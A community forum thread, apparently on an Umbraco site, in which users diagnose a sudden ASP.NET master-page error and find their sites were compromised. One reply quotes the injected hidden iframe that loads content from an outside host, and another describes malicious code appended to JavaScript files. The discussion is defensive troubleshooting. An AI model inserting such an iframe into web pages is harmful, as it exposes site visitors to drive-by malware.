Copied to clipboard

Flag this post as spam?

This post will be reported to the moderators as potential spam to be looked at


  • Gradiation 36 posts 21 karma points
    May 26, 2009 @ 00:23
    Gradiation
    1

    Content controls have to be top-level controls in a content page or a nested master page that references a master page.

    Hi Guys,

    I've successfully had my site running for the last 3/4 months. But today I went back to it and i had the following error on every page

    [code]Content controls have to be top-level controls in a content page or a nested master page that references a master page.
    Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

    Exception Details: System.Web.HttpException: Content controls have to be top-level controls in a content page or a nested master page that references a master page.

    Source Error:

    An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.

    Stack Trace:


    [HttpException (0x80004005): Content controls have to be top-level controls in a content page or a nested master page that references a master page.]
    System.Web.UI.MasterPage.CreateMaster(TemplateControl owner, HttpContext context, VirtualPath masterPageFile, IDictionary contentTemplateCollection) +8658824
    System.Web.UI.Page.get_Master() +51
    System.Web.UI.Page.ApplyMasterPage() +15
    System.Web.UI.Page.PerformPreInit() +45
    System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +282
    [/code]

    I've spent the last hour trying to work this out, but nothing i seem to do works.

    I've checked all my master pages to make sure they only contain content tags at the root level if they reference another master file, which they do. I've made sure there are no funny characters before the content tags, just in case. I've tried stripping everything out of the templates, and that does nothing.

    I'm completley stumped with this and don't know where to look as there isn't realy any clue as to which master page is the problem. Also due to the fact that I haven't changed anything recently.

    Does anybody else have any ideas?

    Many thanks

    Matt

  • Fredrik Sewén 39 posts 106 karma points
    Jul 29, 2009 @ 11:02
    Fredrik Sewén
    0

    I can verify that I have had the same problem. All of a sudden, over-night, all of our Umbraco pages on one of our servers had the same error message as you are explaining.

    I fiddled around a while, trying to locate the problem, but finally restored the latest backup. Then everything was fine again.

    Also, when this has happened, and I'm trying to access the umbraco admin (/umbraco/umbraco.aspx) my virus program warns that a threat is detected, which normally doesn't show up (http://sewen.se/trojan.gif). Could it be a virus on the server?

    I have found that someone has posted the issue in Codeplex for CWS (http://umbracocws.codeplex.com/WorkItem/View.aspx?WorkItemId=3201), but I don't think it's a CWS-problem since we are not using it on our sites that went down.

    Ideas?

    Thanks

    /Fredrik

  • Fredrik Sewén 39 posts 106 karma points
    Jul 30, 2009 @ 10:23
    Fredrik Sewén
    3

    Ok, I compared the version that throw the error with the backup using WinMerge (great program!!!).

    In the error-version one new line of code had been added to Default.aspx.

    <iframe src="http://a5f.ru:8080/ts/in.cgi?pepsi93" width=125 height=125 style="visibility: hidden"></iframe>

    Looks like some kind of virus. When googling, it's recommended you scan all your computers which have FTP-access to the server for viruses.

    /Fredrik

  • mdu 4 posts 22 karma points
    Jan 26, 2010 @ 14:20
    mdu
    0

    I had the same problem, was also a virus, and in addition to the iframe on Default.aspx it infected all js files on the site, adding malicius javascript code at the end of each one.

    The recomendation to remove this virus was to manually clean all js files, and then change the password for all ftp accounts to prevent re-infection.

  • Alex Lindgren 159 posts 356 karma points
    Nov 29, 2014 @ 04:20
    Alex Lindgren
    0

    I saw this on an old umbraco site. Does anyone know how this happened? Was this a vulnerability of Umbraco that has been patched?

Please Sign in or register to post replies

Write your reply to:

Draft